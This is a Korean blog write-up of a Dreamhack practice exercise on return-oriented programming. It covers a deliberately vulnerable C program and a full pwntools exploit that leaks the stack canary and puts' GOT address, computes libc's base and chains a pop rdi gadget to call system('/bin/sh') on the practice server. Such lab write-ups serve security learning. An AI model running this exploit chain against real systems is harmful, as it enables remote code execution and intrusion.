Dreamhack/Pwnable 문제 풀이

[Pwnable] Exploit Tech: Return Oriented Programming

seobangwool 2026. 4. 15. 11:06

Return Oriented Programming

  • ROP(Return Oriented Programming)는 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법이다.
  • ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고도 불린다.

실습 코드

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

우선 이 코드를 보자말자 48바이트 buf와 0x100 바이트의 buf를 읽는 코드가 보인다.
카나리를 읽어오면 될거같으니까 동적분석으로 빠르게 맞는지 확인해보겠다.

 

image

첫번째 read가 나오기 직전인 main +130 에 브레이크를 걸고

 

image

H 48바이트를 적어줬다 (buf크기가 0x30이니까)
그러고 스택을 확인해보면

 

image

스택 48바이트 + 8바이트 더미값 + 8바이트 카나리 + 8바이트 SFP + 8바이트 리턴 주소
로 이루어진걸 볼 수 있다

 

image

이렇게 카나리 값까지 다시 확인해보면 위 구조가 확실하다는 걸 알 수 있다.

그러면 57바이트 (0x39) 쓰레기값 뒤에 오는 값이 카나리인 것을 알았으니 코드를 작성해보면

from pwn import *

p = process('./ROP/rop')
e = ELF('./ROP/rop')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

buf =  'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

 

image

카나리 값이 정상적으로 잘 나온다.

 

그럼 이제

image

이 부분에 해당하는 두번째 read에서 오버플로우를 일으켜 리턴주소를 바꿀 거다
리턴 가젯을 찾아서 system 호출 후 /bin/sh를 실행하도록 바꾸면 된다

그럼 이제 리턴 가젯을 찾아서 system 호출 후 /bin/sh를 실행하면 플래그를 얻을 수 있다
근데 해당 c코드에는 system 함수가 없으므로 함께 받은 libc.so.6 에서 찾아줘야한다

image

이번 실습에서 받은 libc.so.6 파일은 우분투 예전 버전의 C 표준 라이브러리이다

readelf -s libc.so.6 | grep " system@"

아무튼 libc.so.6 파일에서 해당 plt는 저렇게 찾으면 된다.

그리고 추가로, 같은 libc 내에서는 두 plt 주소 사이의 오프셋은 항상 같다고 한다.
따라서 read 함수의 주소를 읽고, 미리 계산해둔 두 주소 사이의 오프셋을 계산해서 system 함수의 주소도 알아낼 수 있다.

image

이 버전에서는 0xc3c20 만큼 차이가 난다.

ASLR이 적용되어 있으므로 libc 의 base주소가 랜덤하게 적히게 되는데,
여기서 base주소를 몰라도 got 테이블에 적힌 read 함수의 주소만 알아도 모든 libc 함수의 주소가 복원된다.

read 함수에 0xc3c20 을 빼면 system 주소를 알 수 있게 된다

 

image

pop rdi 리턴가젯도 찾아줬다.
뒤에 ret까지 있어서 저거 하나만 쓰면 될 거 같다

이제부터 내가 할 일은 puts이나 write를 통해 got 테이블에 적힌 read나 write 함수의 주소를 빼와야한다.
puts 함수는 인자가 하나니까 puts 함수로 코드를 작성했다

 

payload 구성

payload 구성

쓰레기값, 카나리, SFP ((48+8) + 8 + 8) bytes
----- 지금부터 리턴주소에 쓸 것들 -----
+ pop rdi; ret -> 얘로 다음줄에 rdi 인자를 넘겨준다 
+ puts_got -> rdi에 puts의 got 주소를 적는다
+ puts_plt -> puts_plt를 실행한다 (puts("puts got의 주소") 를 하겠단 말)
+ main_addr -> 메인으로 돌아가기 (돌아가선 /bin/sh 실행 시켜야함)

 

코드

from pwn import *

p = process('./ROP/rop')
e = ELF('./ROP/rop')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

buf =  'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

binsh = 0x7ffff7f6e42f

pop_rdi = 0x400853
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols['main']

payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.sendlineafter(b'Buf: ', payload)
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
slog('leaked puts', leaked_puts)

 

image

이렇게 got에 적힌 puts을 성공적으로 빼왔다.

이제 /bin/sh 까지 실행시키면서 마무리를 해보자

 

image

/bin/sh를 찾으려 search를 해보면 이 주소도 libc 파일에 있다는 걸 알 수 있다.

 

image

그러므로 얘를 찾기 위해 strings -tx libc.so.6 | grep "/bin/sh" 로 찾아줬다.
strings -tx는 문자열 포맷으로 16진수 결과를 받아내는 명령어다.
저런 문자열은 rodata 영역이나 libc 특정 영역에 따로 존재할거다.

아무튼 0x1d8698 인 것을 알았으니 puts 주소랑 system 주소의 차이만 알면 된다.

 

image

이렇게 드디어 전부 다 구했다.

정리

  • puts0x80ed0
  • system0x50d60
  • /bin/sh0x1d8698
  • libc_base = leaked_puts - libc.symbols['puts']
  • system = libc_base + libc.symbols['system']
  • binsh = libc_base + next(libc.search(b'/bin/sh'))

payload 구성 (/bin/sh 실행 포함)

payload 구성

쓰레기값, 카나리, SFP ((48+8) + 8 + 8) bytes
----- 지금부터 리턴주소에 쓸 것들 -----
+ pop rdi; ret -> 얘로 다음줄에 rdi 인자를 넘겨준다 
+ binsh -> /bin/sh 의 주소가 이곳에 쓰인다
+ system -> system = libc_base + libc.symbols['system']

코드 (./ROP/rop 로 ROP 디렉토리에서 실행함)

from pwn import *

p = remote('host3.dreamhack.games',11290)
e = ELF('./ROP/rop')
libc = ELF('./ROP/libc.so.6')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

buf =  b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

pop_rdi = 0x400853
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols['main']

payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.sendlineafter(b'Buf: ', payload)
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
slog('leaked puts', leaked_puts)

libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

ret = 0x400596

payload  = b'A'*0x38 + p64(cnry) + b'B'*8

payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendlineafter(b'Buf: ', payload)

p.interactive()

컴파일 옵션과 libc 파일에 차이가 있으니 반드시 실습용 바이너리 파일을 들고오자
libc base를 계산할 때는 libc = ELF('./ROP/libc.so.6') 로 계산해야한다.
(내 컴퓨터 libc랑 실습용 libc의 주소와 심볼 오프셋이 다르다)

 

image

성공했다.

중요
실습 환경이 예전 버전이라 컴파일 옵션이 차이가 은근 많이 난다.
libc.so.6와 ld-linux.so.2가 서로 다른 빌드 버전이어서 abort()가 자꾸 발생해서
바이너리가 실행이 계속 안됐다. (EOFError)
실습 서버에 그냥 날려보는걸 추천한다

'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글

[Pwnable] basic_rop_x86  (0) 2026.04.15
[Pwnable] basic_rop_x64  (0) 2026.04.15
[Pwnable] Exploit Tech: Return to Library  (0) 2026.04.15
[Pwnable] basic_exploitation_000  (0) 2026.04.15
[Pwnable Advanced] Exercise: tcache_dup  (0) 2026.04.15